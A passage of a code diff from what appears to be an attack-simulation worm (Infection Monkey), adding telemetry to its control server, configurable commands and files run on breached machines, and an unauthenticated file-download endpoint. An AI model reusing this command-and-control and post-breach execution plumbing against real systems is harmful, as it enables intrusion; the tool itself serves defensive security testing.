:param data: Other data relevant to the attack technique
|
||||
"""
|
||||
self.technique = technique
|
||||
self.result = status
|
||||
self.data = {'status': status, 'id': GUID}
|
||||
if data:
|
||||
self.data.update(data)
|
||||
|
||||
def send(self):
|
||||
"""
|
||||
Sends telemetry to island
|
||||
"""
|
||||
if not WormConfiguration.current_server:
|
||||
return
|
||||
try:
|
||||
requests.post("https://%s/api/attack/%s" % (WormConfiguration.current_server, self.technique),
|
||||
data=json.dumps(self.data),
|
||||
headers={'content-type': 'application/json'},
|
||||
verify=False,
|
||||
proxies=ControlClient.proxies)
|
||||
except Exception as exc:
|
||||
LOG.warn("Error connecting to control server %s: %s",
|
||||
WormConfiguration.current_server, exc)
|
|
@ -0,0 +1,18 @@
|
|||
from infection_monkey.transport.attack_telems.base_telem import AttackTelem
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
|
||||
class VictimHostTelem(AttackTelem):
|
||||
|
||||
def __init__(self, technique, status, machine, data=None):
|
||||
"""
|
||||
ATT&CK telemetry that parses and sends VictimHost's (remote machine's) data
|
||||
:param technique: Technique ID. E.g. T111
|
||||
:param status: int from ScanStatus Enum
|
||||
:param machine: VictimHost obj from model/host.py
|
||||
:param data: Other data relevant to the attack technique
|
||||
"""
|
||||
super(VictimHostTelem, self).__init__(technique, status, data)
|
||||
victim_host = {'hostname': machine.domain_name, 'ip': machine.ip_addr}
|
||||
self.data.update({'machine': victim_host})
|
|
@ -1,5 +1,6 @@
|
|||
import os
|
||||
import sys
|
||||
import shutil
|
||||
import struct
|
||||
|
||||
from infection_monkey.config import WormConfiguration
|
||||
|
@ -35,3 +36,25 @@ def utf_to_ascii(string):
|
|||
# Converts utf string to ascii. Safe to use even if string is already ascii.
|
||||
udata = string.decode("utf-8")
|
||||
return udata.encode("ascii", "ignore")
|
||||
|
||||
|
||||
def create_monkey_dir():
|
||||
"""
|
||||
Creates directory for monkey and related files
|
||||
"""
|
||||
if not os.path.exists(get_monkey_dir_path()):
|
||||
os.mkdir(get_monkey_dir_path())
|
||||
|
||||
|
||||
def remove_monkey_dir():
|
||||
"""
|
||||
Removes monkey's root directory
|
||||
"""
|
||||
shutil.rmtree(get_monkey_dir_path(), ignore_errors=True)
|
||||
|
||||
|
||||
def get_monkey_dir_path():
|
||||
if is_windows_os():
|
||||
return WormConfiguration.monkey_dir_windows
|
||||
else:
|
||||
return WormConfiguration.monkey_dir_linux
|
||||
|
|
|
@ -27,9 +27,12 @@ from monkey_island.cc.resources.report import Report
|
|||
from monkey_island.cc.resources.root import Root
|
||||
from monkey_island.cc.resources.telemetry import Telemetry
|
||||
from monkey_island.cc.resources.telemetry_feed import TelemetryFeed
|
||||
from monkey_island.cc.resources.pba_file_download import PBAFileDownload
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.consts import MONKEY_ISLAND_ABS_PATH
|
||||
from monkey_island.cc.services.remote_run_aws import RemoteRunAwsService
|
||||
from monkey_island.cc.resources.pba_file_upload import FileUpload
|
||||
from monkey_island.cc.resources.attack_telem import AttackTelem
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -121,6 +124,11 @@ def init_app(mongo_url):
|
|||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||
api.add_resource(Log, '/api/log', '/api/log/')
|
||||
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||
api.add_resource(PBAFileDownload, '/api/pba/download/<string:path>')
|
||||
api.add_resource(FileUpload, '/api/fileUpload/<string:file_type>',
|
||||
'/api/fileUpload/<string:file_type>?load=<string:filename>',
|
||||
'/api/fileUpload/<string:file_type>?restore=<string:filename>')
|
||||
api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/')
|
||||
api.add_resource(AttackTelem, '/api/attack/<string:technique>')
|
||||
|
||||
return app
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
import flask_restful
|
||||
from flask import request
|
||||
import json
|
||||
from monkey_island.cc.services.attack.attack_telem import set_results
|
||||
import logging
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
|
||||
|
||||
class AttackTelem(flask_restful.Resource):
|
||||
"""
|
||||
ATT&CK endpoint used to retrieve matrix related info from monkey
|
||||
"""
|
||||
|
||||
def post(self, technique):
|
||||
"""
|
||||
Gets ATT&CK telemetry data and stores it in the database
|
||||
:param technique: Technique ID, e.g. T1111
|
||||
"""
|
||||
data = json.loads(request.data)
|
||||
set_results(technique, data)
|
||||
return {}
|
|
@ -0,0 +1,14 @@
|
|||
import flask_restful
|
||||
from flask import send_from_directory
|
||||
from monkey_island.cc.resources.pba_file_upload import GET_FILE_DIR
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
|
||||
class PBAFileDownload(flask_restful.Resource):
|
||||
"""
|
||||
File download endpoint used by monkey to download user's PBA file
|
||||
"""
|
||||
# Used by monkey. can't secure.
|
||||
def get(self, path):
|
||||
return send_from_directory(GET_FILE_DIR, path)
|
|
@ -0,0 +1,83 @@
|
|||
import flask_restful
|
||||
from flask import request, send_from_directory, Response
|
||||
from monkey_island.cc.services.config import ConfigService
|
||||
from monkey_island.cc.services.post_breach_files import PBA_WINDOWS_FILENAME_PATH, PBA_LINUX_FILENAME_PATH, UPLOADS_DIR
|
||||
from monkey_island.cc.auth import jwt_required
|
||||
import os
|
||||
from werkzeug.utils import secure_filename
|
||||
import logging
|
||||
import copy
|
||||
|
||||
__author__ = 'VakarisZ'
|
||||
|
||||
LOG = logging.getLogger(__name__)
|
||||
GET_FILE_DIR = "./userUploads"
|
||||
# Front end uses these strings to identify which files to work with (linux of windows)
|
||||
LINUX_PBA_TYPE = 'PBAlinux'
|
||||
WINDOWS_PBA_TYPE = 'PBAwindows'
|
||||
|
||||
|
||||
class FileUpload(flask_restful.Resource):
|
||||
"""
|
||||
File upload endpoint used to exchange files with filepond component on the front-end
|
||||
"""
|
||||
@jwt_required()
|
||||
def get(self, file_type):
|
||||
"""
|
||||
Sends file to filepond
|
||||
:param file_type: Type indicates which file to send, linux or windows
|
||||
:return: Returns file contents
|
||||
"""
|
||||
# Verify that file_name is indeed a file from config
|
||||
if file_type == LINUX_PBA_TYPE:
|
||||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_LINUX_FILENAME_PATH))
|
||||
else:
|
||||
filename = ConfigService.get_config_value(copy.deepcopy(PBA_WINDOWS_FILENAME_PATH))
|
||||
return send_from_directory(GET_FILE_DIR, filename)
|
||||
|
||||
@jwt_required()
|
||||
def post(self, file_type):
|
||||
"""
|
||||
Receives user's uploaded file from filepond
|
||||
:param file_type: Type indicates which file was received, linux or windows
|
||||
:return: Returns flask response object with uploaded file's filename
|
||||
"""
|
||||
filename = FileUpload.upload_pba_file(request, (file_type == LINUX_PBA_TYPE))
|
||||
|
||||
response = Response(
|
||||
response=filename,
|
||||
status=200, mimetype='text/plain')
|
||||
return response
|
||||
|
||||
@jwt_required()
|
||||
def delete(self, file_type):
|
||||
"""
|
||||
Deletes file that has been deleted on the front end
|
||||
:param file_type: Type indicates which file was deleted, linux of windows
|
||||
:return: Empty response
|
||||
"""
|
||||
filename_path = PBA_LINUX_FILENAME_PATH if file_type == 'PBAlinux' else PBA_WINDOWS_FILENAME_PATH
|
||||
filename = ConfigService.get_config_value(filename_path)
|
||||
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
ConfigService.set_config_value(filename_path, '')
|
||||
except OSError as e:
|
||||
LOG.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||
|
||||
return {}
|
||||
|
||||
@staticmethod
|
||||
def upload_pba_file(request_, is_linux=True):
|
||||
"""
|
||||
Uploads PBA file to island's file system
|
||||
:param request_: Request object containing PBA file
|
||||
:param is_linux: Boolean indicating if this file is for windows or for linux
|
||||
:return: filename string
|
||||
"""
|
||||
filename = secure_filename(request_.files['filepond'].filename)
|
||||
file_path = os.path.join(UPLOADS_DIR, filename)
|
||||
request_.files['filepond'].save(file_path)
|
||||
ConfigService.set_config_value((PBA_LINUX_FILENAME_PATH if is_linux else PBA_WINDOWS_FILENAME_PATH), filename)
|
||||
return filename
|
|
@ -10,6 +10,7 @@ from monkey_island.cc.services.config import ConfigService
|
|||
from monkey_island.cc.services.node import NodeService
|
||||
from monkey_island.cc.services.report import ReportService
|
||||
from monkey_island.cc.utils import local_ip_addresses
|
||||
from monkey_island.cc.services.post_breach_files import remove_PBA_files
|
||||
|
||||
__author__ = 'Barak'
|
||||
|
||||
|
@ -42,6 +43,7 @@ class Root(flask_restful.Resource):
|
|||
@staticmethod
|
||||
@jwt_required()
|
||||
def reset_db():
|
||||
remove_PBA_files()
|
||||
# We can't drop system collections.
|
||||
[mongo.db[x].drop() for x in mongo.db.collection_names() if not x.startswith('system.')]
|
||||
ConfigService.init_config()
|
||||
|
|
|
@ -257,6 +257,11 @@ class Telemetry(flask_restful.Resource):
|
|||
if len(credential) > 0:
|
||||
attempts[i][field] = encryptor.enc(credential.encode('utf-8'))
|
||||
|
||||
@staticmethod
|
||||
def process_post_breach_telemetry(telemetry_json):
|
||||
mongo.db.monkey.update(
|
||||
{'guid': telemetry_json['monkey_guid']},
|
||||
{'$push': {'pba_results': telemetry_json['data']}})
|
||||
|
||||
TELEM_PROCESS_DICT = \
|
||||
{
|
||||
|
@ -265,5 +270,6 @@ TELEM_PROCESS_DICT = \
|
|||
'exploit': Telemetry.process_exploit_telemetry,
|
||||
'scan': Telemetry.process_scan_telemetry,
|
||||
'system_info_collection': Telemetry.process_system_info_telemetry,
|
||||
'trace': Telemetry.process_trace_telemetry
|
||||
'trace': Telemetry.process_trace_telemetry,
|
||||
'post_breach': Telemetry.process_post_breach_telemetry
|
||||
}
|
||||
|
|
|
@ -80,6 +80,12 @@ class TelemetryFeed(flask_restful.Resource):
|
|||
def get_trace_telem_brief(telem):
|
||||
return 'Monkey reached max depth.'
|
||||
|
||||
@staticmethod
|
||||
def get_post_breach_telem_brief(telem):
|
||||
return '%s post breach action executed on %s (%s) machine' % (telem['data']['name'],
|
||||
telem['data']['hostname'],
|
||||
telem['data']['ip'])
|
||||
|
||||
|
||||
TELEM_PROCESS_DICT = \
|
||||
{
|
||||
|
@ -88,5 +94,6 @@ TELEM_PROCESS_DICT = \
|
|||
'exploit': TelemetryFeed.get_exploit_telem_brief,
|
||||
'scan': TelemetryFeed.get_scan_telem_brief,
|
||||
'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief,
|
||||
'trace': TelemetryFeed.get_trace_telem_brief
|
||||
'trace': TelemetryFeed.get_trace_telem_brief,
|
||||
'post_breach': TelemetryFeed.get_post_breach_telem_brief
|
||||
}
|
||||
|
|
|
@ -0,0 +1 @@
|
|||
__author__ = 'VakarisZ'
|
|
@ -0,0 +1,19 @@
|
|||
"""
|
||||
File that contains ATT&CK telemetry storing/retrieving logic
|
||||
"""
|
||||
import logging
|
||||
from monkey_island.cc.database import mongo
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
|
||||
def set_results(technique, data):
|
||||
"""
|
||||
Adds ATT&CK technique results(telemetry) to the database
|
||||
:param technique: technique ID string e.g. T1110
|
||||
:param data: Data, relevant to the technique
|
||||
"""
|
||||
data.update({'technique': technique})
|
||||
mongo.db.attack_results.insert(data)
|
|
@ -4,6 +4,7 @@ import functools
|
|||
import logging
|
||||
from jsonschema import Draft4Validator, validators
|
||||
from six import string_types
|
||||
import monkey_island.cc.services.post_breach_files
|
||||
|
||||
from monkey_island.cc.database import mongo
|
||||
from monkey_island.cc.encryptor import encryptor
|
||||
|
@ -69,6 +70,12 @@ class ConfigService:
|
|||
config = [encryptor.dec(x) for x in config]
|
||||
return config
|
||||
|
||||
@staticmethod
|
||||
def set_config_value(config_key_as_arr, value):
|
||||
mongo_key = ".".join(config_key_as_arr)
|
||||
mongo.db.config.update({'name': 'newconfig'},
|
||||
{"$set": {mongo_key: value}})
|
||||
|
||||
@staticmethod
|
||||
def get_flat_config(is_initial_config=False, should_decrypt=True):
|
||||
config_json = ConfigService.get_config(is_initial_config, should_decrypt)
|
||||
|
@ -128,6 +135,8 @@ class ConfigService:
|
|||
|
||||
@staticmethod
|
||||
def update_config(config_json, should_encrypt):
|
||||
# PBA file upload happens on pba_file_upload endpoint and corresponding config options are set there
|
||||
monkey_island.cc.services.post_breach_files.set_config_PBA_files(config_json)
|
||||
if should_encrypt:
|
||||
try:
|
||||
ConfigService.encrypt_config(config_json)
|
||||
|
@ -163,6 +172,7 @@ class ConfigService:
|
|||
|
||||
@staticmethod
|
||||
def reset_config():
|
||||
monkey_island.cc.services.post_breach_files.remove_PBA_files()
|
||||
config = ConfigService.get_default_config(True)
|
||||
ConfigService.set_server_ips_in_config(config)
|
||||
ConfigService.update_config(config, should_encrypt=False)
|
||||
|
|
|
@ -313,6 +313,46 @@ SCHEMA = {
|
|||
"title": "Behaviour",
|
||||
"type": "object",
|
||||
"properties": {
|
||||
"custom_PBA_linux_cmd": {
|
||||
"title": "Linux post breach command",
|
||||
"type": "string",
|
||||
"default": "",
|
||||
"description": "Linux command to be executed after breaching."
|
||||
},
|
||||
"PBA_linux_file": {
|
||||
"title": "Linux post breach file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Linux post breach command' field. "
|
||||
"Reference your file by filename."
|
||||
},
|
||||
"custom_PBA_windows_cmd": {
|
||||
"title": "Windows post breach command",
|
||||
"type": "string",
|
||||
"default": "",
|
||||
"description": "Windows command to be executed after breaching."
|
||||
},
|
||||
"PBA_windows_file": {
|
||||
"title": "Windows post breach file",
|
||||
"type": "string",
|
||||
"format": "data-url",
|
||||
"description": "File to be executed after breaching. "
|
||||
"If you want custom execution behavior, "
|
||||
"specify it in 'Windows post breach command' field. "
|
||||
"Reference your file by filename."
|
||||
},
|
||||
"PBA_windows_filename": {
|
||||
"title": "Windows PBA filename",
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"PBA_linux_filename": {
|
||||
"title": "Linux PBA filename",
|
||||
"type": "string",
|
||||
"default": ""
|
||||
},
|
||||
"self_delete_in_cleanup": {
|
||||
"title": "Self delete on cleanup",
|
||||
"type": "boolean",
|
||||
|
@ -423,7 +463,19 @@ SCHEMA = {
|
|||
"type": "integer",
|
||||
"default": 60,
|
||||
"description": "Time to keep tunnel open before going down after last exploit (in seconds)"
|
||||
}
|
||||
},
|
||||
"monkey_dir_windows": {
|
||||
"title": "Monkey's windows directory",
|
||||
"type": "string",
|
||||
"default": r"C:\Windows\temp\monkey_dir",
|
||||
"description": "Directory containing all monkey files on windows"
|
||||
},
|
||||
"monkey_dir_linux": {
|
||||
"title": "Monkey's linux directory",
|
||||
"type": "string",
|
||||
"default": "/tmp/monkey_dir",
|
||||
"description": "Directory containing all monkey files on linux"
|
||||
},
|
||||
}
|
||||
},
|
||||
"classes": {
|
||||
|
|
|
@ -142,7 +142,8 @@ class NodeService:
|
|||
"group": NodeService.get_monkey_group(monkey),
|
||||
"os": NodeService.get_monkey_os(monkey),
|
||||
"dead": monkey["dead"],
|
||||
"domain_name": ""
|
||||
"domain_name": "",
|
||||
"pba_results": monkey["pba_results"] if "pba_results" in monkey else []
|
||||
}
|
||||
|
||||
@staticmethod
|
||||
|
|
|
@ -0,0 +1,43 @@
|
|||
import monkey_island.cc.services.config
|
||||
import logging
|
||||
import os
|
||||
|
||||
__author__ = "VakarisZ"
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
# Where to find file names in config
|
||||
PBA_WINDOWS_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_windows_filename']
|
||||
PBA_LINUX_FILENAME_PATH = ['monkey', 'behaviour', 'PBA_linux_filename']
|
||||
UPLOADS_DIR = 'monkey_island/cc/userUploads'
|
||||
|
||||
|
||||
def remove_PBA_files():
|
||||
if monkey_island.cc.services.config.ConfigService.get_config():
|
||||
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||
if linux_filename:
|
||||
remove_file(linux_filename)
|
||||
if windows_filename:
|
||||
remove_file(windows_filename)
|
||||
|
||||
|
||||
def remove_file(file_name):
|
||||
file_path = os.path.join(UPLOADS_DIR, file_name)
|
||||
try:
|
||||
if os.path.exists(file_path):
|
||||
os.remove(file_path)
|
||||
except OSError as e:
|
||||
logger.error("Can't remove previously uploaded post breach files: %s" % e)
|
||||
|
||||
|
||||
def set_config_PBA_files(config_json):
|
||||
"""
|
||||
Sets PBA file info in config_json to current config's PBA file info values.
|
||||
:param config_json: config_json that will be modified
|
||||
"""
|
||||
if monkey_island.cc.services.config.ConfigService.get_config():
|
||||
linux_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_LINUX_FILENAME_PATH)
|
||||
windows_filename = monkey_island.cc.services.config.ConfigService.get_config_value(PBA_WINDOWS_FILENAME_PATH)
|
||||
config_json['monkey']['behaviour']['PBA_linux_filename'] = linux_filename
|
||||
config_json['monkey']['behaviour']['PBA_windows_filename'] = windows_filename
|
|
@ -132,7 +132,8 @@ class ReportService:
|
|||
(NodeService.get_displayed_node_by_id(edge['from'], True)
|
||||
for edge in EdgeService.get_displayed_edges_by_to(node['id'], True)))),
|
||||
'services': node['services'],
|
||||
'domain_name': node['domain_name']
|
||||
'domain_name': node['domain_name'],
|
||||
'pba_results': node['pba_results'] if 'pba_results' in node else 'None'
|
||||
})
|
||||
|
||||
logger.info('Scanned nodes generated for reporting')
|
||||
|
|
|
@ -621,6 +621,7 @@
|
|||
"resolved": "https://registry.npmjs.org/align-text/-/align-text-0.1.4.tgz",
|
||||
"integrity": "sha1-DNkKVhCT810KmSVsIrcGlDP60Rc=",
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"kind-of": "^3.0.2",
|
||||
"longest": "^1.0.1",
|
||||
|
@ -2424,9 +2425,9 @@
|
|||
}
|
||||
},
|
||||
"bootstrap": {
|
||||
"version": "3.3.7",
|
||||
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.3.7.tgz",
|
||||
"integrity": "sha1-WjiTlFSfIzMIdaOxUGVldPip63E="
|
||||
"version": "3.4.1",
|
||||
"resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-3.4.1.tgz",
|
||||
"integrity": "sha512-yN5oZVmRCwe5aKwzRj6736nSmKDX7pLYwsXiCj/EYmo16hODaBiT4En5btW/jhBF/seV+XMx3aYwukYC3A49DA=="
|
||||
},
|
||||
"bower-webpack-plugin": {
|
||||
"version": "0.1.9",
|
||||
|
@ -3292,7 +3293,7 @@
|
|||
},
|
||||
"yargs": {
|
||||
"version": "11.1.0",
|
||||
"resolved": "http://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
|
||||
"resolved": "https://registry.npmjs.org/yargs/-/yargs-11.1.0.tgz",
|
||||
"integrity": "sha512-NwW69J42EsCSanF8kyn5upxvjp5ds+t3+udGBeTbFnERA+lF541DDpMawzo4z6W/QrzNM18D+BPMiOBibnFV5A==",
|
||||
"dev": true,
|
||||
"requires": {
|
||||
|
@ -5122,6 +5123,11 @@
|
|||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"filepond": {
|
||||
"version": "4.2.0",
|
||||
"resolved": "https://registry.npmjs.org/filepond/-/filepond-4.2.0.tgz",
|
||||
"integrity": "sha512-JTSvxTQGbCXMZGoPOIjCKImv+Al3Y5z3f6gRoUGlQdqpnMHdnwOV0WG3hRCVBDN64ctAN3pgKtofkWfsnwwoTA=="
|
||||
},
|
||||
"fill-range": {
|
||||
"version": "2.2.3",
|
||||
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-2.2.3.tgz",
|
||||
|
@ -5446,7 +5452,8 @@
|
|||
"ansi-regex": {
|
||||
"version": "2.1.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"aproba": {
|
||||
"version": "1.1.1",
|
||||
|
@ -5497,7 +5504,8 @@
|
|||
"balanced-match": {
|
||||
"version": "0.4.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"bcrypt-pbkdf": {
|
||||
"version": "1.0.1",
|
||||
|
@ -5536,7 +5544,8 @@
|
|||
"buffer-shims": {
|
||||
"version": "1.0.0",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"caseless": {
|
||||
"version": "0.12.0",
|
||||
|
@ -5807,7 +5816,8 @@
|
|||
"inherits": {
|
||||
"version": "2.0.3",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"ini": {
|
||||
"version": "1.3.4",
|
||||
|
@ -6002,6 +6012,7 @@
|
|||
"version": "1.4.0",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"wrappy": "1"
|
||||
}
|
||||
|
@ -6311,7 +6322,8 @@
|
|||
"wrappy": {
|
||||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
|
@ -6396,6 +6408,7 @@
|
|||
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
|
||||
"integrity": "sha1-gTg9ctsFT8zPUzbaqQLxgvbtuyg=",
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"is-glob": "^2.0.0"
|
||||
}
|
||||
|
@ -7636,7 +7649,8 @@
|
|||
"version": "1.0.0",
|
||||
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
|
||||
"integrity": "sha1-rEaBd8SUNAWgkvyPKXYMb/xiBsA=",
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"is-finite": {
|
||||
"version": "1.0.2",
|
||||
|
@ -7658,6 +7672,7 @@
|
|||
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
|
||||
"integrity": "sha1-0Jb5JqPe1WAPP9/ZEZjLCIjC2GM=",
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"is-extglob": "^1.0.0"
|
||||
}
|
||||
|
@ -7724,7 +7739,8 @@
|
|||
"version": "2.0.0",
|
||||
"resolved": "https://registry.npmjs.org/is-primitive/-/is-primitive-2.0.0.tgz",
|
||||
"integrity": "sha1-IHurkWOEmcB7Kt8kCkGochADRXU=",
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"is-promise": {
|
||||
"version": "2.1.0",
|
||||
|
@ -8279,7 +8295,8 @@
|
|||
"ansi-regex": {
|
||||
"version": "2.1.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"aproba": {
|
||||
"version": "1.2.0",
|
||||
|
@ -8322,7 +8339,8 @@
|
|||
"code-point-at": {
|
||||
"version": "1.1.0",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"concat-map": {
|
||||
"version": "0.0.1",
|
||||
|
@ -8333,7 +8351,8 @@
|
|||
"console-control-strings": {
|
||||
"version": "1.1.0",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"core-util-is": {
|
||||
"version": "1.0.2",
|
||||
|
@ -8434,7 +8453,7 @@
|
|||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"minimatch": "3.0.4"
|
||||
"minimatch": "^3.0.4"
|
||||
}
|
||||
},
|
||||
"inflight": {
|
||||
|
@ -8450,7 +8469,8 @@
|
|||
"inherits": {
|
||||
"version": "2.0.3",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"ini": {
|
||||
"version": "1.3.5",
|
||||
|
@ -8462,6 +8482,7 @@
|
|||
"version": "1.0.0",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"number-is-nan": "^1.0.0"
|
||||
}
|
||||
|
@ -8484,12 +8505,14 @@
|
|||
"minimist": {
|
||||
"version": "0.0.8",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"minipass": {
|
||||
"version": "2.2.4",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"safe-buffer": "^5.1.1",
|
||||
"yallist": "^3.0.0"
|
||||
|
@ -8508,6 +8531,7 @@
|
|||
"version": "0.5.1",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"minimist": "0.0.8"
|
||||
}
|
||||
|
@ -8588,7 +8612,8 @@
|
|||
"number-is-nan": {
|
||||
"version": "1.0.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"object-assign": {
|
||||
"version": "4.1.1",
|
||||
|
@ -8600,6 +8625,7 @@
|
|||
"version": "1.4.0",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"wrappy": "1"
|
||||
}
|
||||
|
@ -8685,7 +8711,8 @@
|
|||
"safe-buffer": {
|
||||
"version": "5.1.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"safer-buffer": {
|
||||
"version": "2.1.2",
|
||||
|
@ -8721,6 +8748,7 @@
|
|||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"code-point-at": "^1.0.0",
|
||||
"is-fullwidth-code-point": "^1.0.0",
|
||||
|
@ -8740,6 +8768,7 @@
|
|||
"version": "3.0.1",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"ansi-regex": "^2.0.0"
|
||||
}
|
||||
|
@ -8783,12 +8812,14 @@
|
|||
"wrappy": {
|
||||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"yallist": {
|
||||
"version": "3.0.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
|
@ -9357,7 +9388,8 @@
|
|||
"version": "1.0.1",
|
||||
"resolved": "https://registry.npmjs.org/longest/-/longest-1.0.1.tgz",
|
||||
"integrity": "sha1-MKCy2jj3N3DoKUoNIuZiXtd9AJc=",
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"loose-envify": {
|
||||
"version": "1.3.1",
|
||||
|
@ -13872,6 +13904,11 @@
|
|||
"prop-types": "^15.5.8"
|
||||
}
|
||||
},
|
||||
"react-filepond": {
|
||||
"version": "7.0.1",
|
||||
"resolved": "https://registry.npmjs.org/react-filepond/-/react-filepond-7.0.1.tgz",
|
||||
"integrity": "sha512-PitNM44JP0K5hXnkSYV3HRlkObsWbhqaJRWizMrdHpS3pPz9/iyiOGmRpc+4T4ST3vblmiUTLRYq/+1bDcSqQw=="
|
||||
},
|
||||
"react-graph-vis": {
|
||||
"version": "1.0.2",
|
||||
"resolved": "https://registry.npmjs.org/react-graph-vis/-/react-graph-vis-1.0.2.tgz",
|
||||
|
@ -17072,7 +17109,8 @@
|
|||
"safe-buffer": {
|
||||
"version": "5.1.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"safer-buffer": {
|
||||
"version": "2.1.2",
|
||||
|
@ -17128,6 +17166,7 @@
|
|||
"version": "3.0.1",
|
||||
"bundled": true,
|
||||
"dev": true,
|
||||
"optional": true,
|
||||
"requires": {
|
||||
"ansi-regex": "2.1.1"
|
||||
}
|
||||
|
@ -17171,12 +17210,14 @@
|
|||
"wrappy": {
|
||||
"version": "1.0.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"yallist": {
|
||||
"version": "3.0.2",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
}
|
||||
}
|
||||
},
|
||||
|
@ -18321,7 +18362,8 @@
|
|||
"ansi-regex": {
|
||||
"version": "2.1.1",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"aproba": {
|
||||
"version": "1.2.0",
|
||||
|
@ -18364,7 +18406,8 @@
|
|||
"code-point-at": {
|
||||
"version": "1.1.0",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
"concat-map": {
|
||||
"version": "0.0.1",
|
||||
|
@ -18375,7 +18418,8 @@
|
|||
"console-control-strings": {
|
||||
"version": "1.1.0",
|
||||
"bundled": true,
|
||||
"dev": true
|
||||
"dev": true,
|
||||
"optional": true
|
||||
},
|
||||
